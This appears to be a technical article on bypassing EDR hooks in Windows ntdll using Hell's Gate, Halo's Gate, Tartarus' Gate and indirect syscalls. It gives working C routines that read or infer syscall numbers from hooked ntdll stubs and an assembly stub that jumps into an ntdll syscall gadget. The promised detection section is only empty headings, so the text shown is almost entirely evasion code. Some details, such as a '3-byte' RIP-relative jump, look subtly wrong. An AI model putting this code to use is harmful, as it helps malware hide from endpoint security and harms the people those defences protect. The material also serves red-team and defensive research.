Direct Syscalls

NTDLL bypass techniques: Hell's Gate, Halo's Gate, and Tartarus' Gate, and how stack-unwinding analysis detects them even when ntdll hooks are bypassed

Why Bypass ntdll

EDRs hook the ntdll Nt-function stubs because those stubs are the last user-mode code before the syscall boundary. Bypassing them eliminates all user-mode EDR visibility on the hooked calls. The two approaches:

• Direct syscall: place mov eax, SSN; syscall in your own code, never touching ntdll for that call.
• Indirect syscall: load SSN yourself, then JMP into a syscall; ret gadget inside ntdll, so the syscall appears to originate from ntdll.

Both require knowing the correct SSN for the target OS version dynamically at runtime.

Hell's Gate

Each ntdll Nt-stub starts with an identical 3-byte sequence 4C 8B D1 (mov r10, rcx), then a 5-byte B8 XX XX 00 00 (mov eax, SSN). Hell's Gate resolves a function pointer from ntdll, reads bytes at offset +3 to extract the SSN, and issues the syscall from a small ASM stub in its own memory.

// Hell's Gate: extract SSN from a live ntdll stub
typedef struct {
    WORD  SSN;
    bool  hooked;
} VxTableEntry;

bool GetSyscallNumber(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    // Normal stub: 4C 8B D1 B8 XX XX 00 00
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
        entry->SSN    = *(WORD*)(p + 4);
        entry->hooked = false;
        return true;
    }
    // First bytes patched (hook detected)
    entry->hooked = true;
    return false;
}

Halo's Gate

When an ntdll stub is hooked (bytes don't match), its SSN is hidden under the EDR's JMP patch. Halo's Gate solves this by looking at neighboring stubs. SSDT entries are assigned consecutively: if NtAllocateVirtualMemory is SSN N, the stub immediately before it in the export table typically has SSN N-1 and the stub after has SSN N+1. Halo's Gate scans forward and backward from the hooked stub, finds the first unhook neighbor, and infers the target SSN by offset.

// Halo's Gate: if stub is hooked, walk neighbors to infer SSN
bool GetSyscallNumberHalosGate(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    if (GetSyscallNumber(p, entry)) return true;

    // Stub is hooked — walk neighbors
    // Each stub is exactly 0x20 bytes in modern ntdll
    for (int i = 1; i < 500; i++) {
        VxTableEntry neighbor = {};
        // Check +i stubs (higher SSN)
        if (GetSyscallNumber(p + (0x20 * i), &neighbor) && !neighbor.hooked) {
            entry->SSN    = neighbor.SSN - i;
            entry->hooked = true;  // was hooked, now inferred
            return true;
        }
        // Check -i stubs (lower SSN)
        if (GetSyscallNumber(p - (0x20 * i), &neighbor) && !neighbor.hooked) {
            entry->SSN    = neighbor.SSN + i;
            entry->hooked = true;
            return true;
        }
    }
    return false;
}

Tartarus' Gate

An evolution handling a different hook pattern: some EDRs use a 3-byte jmp qword ptr [rip+0] or other longer patches that start at a different offset in the stub, leaving the B8 XX XX SSN bytes at offset +3 intact but unreachable. Tartarus' Gate scans the stub for multiple known hook patterns and extracts the SSN regardless:

// Tartarus' Gate checks additional known hook prologue patterns
bool GetSyscallNumberTartarusGate(PVOID pNtFunction, VxTableEntry *entry)
{
    PBYTE p = (PBYTE)pNtFunction;
    // Pattern 1: clean stub (4C 8B D1 B8 SSN)
    if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8) {
        entry->SSN = *(WORD*)(p + 4);
        return true;
    }
    // Pattern 2: syscall re-routing hook (3E xx xx xx B8 SSN)
    if (p[3] == 0xB8 && p[7] == 0x00 && p[8] == 0x00) {
        entry->SSN = *(WORD*)(p + 4);
        entry->hooked = true;
        return true;
    }
    // Fallback: use Halo's Gate neighbor walk
    return GetSyscallNumberHalosGate(p, entry);
}

Indirect Syscalls

A newer EDR capability: check whether the address that executed syscall belongs to ntdll. If the syscall instruction came from outside ntdll (e.g., from shellcode or the main executable), that's anomalous. Indirect syscalls counter this by setting EAX to the SSN but then jumping to a syscall; ret gadget that lives within ntdll's address range:

; Indirect syscall example for NtAllocateVirtualMemory
; pSyscallGadget = address of "syscall; ret" bytes inside ntdll

IndirectNtAllocateVirtualMemory:
    mov  r10, rcx
    mov  eax, [SSN_NtAllocateVirtualMemory]   ; SSN from Hell/Halo's Gate
    jmp  [pSyscallGadget]                     ; jump into ntdll's "syscall; ret"
    ; execution returns to caller after syscall completes

Detection

Q & A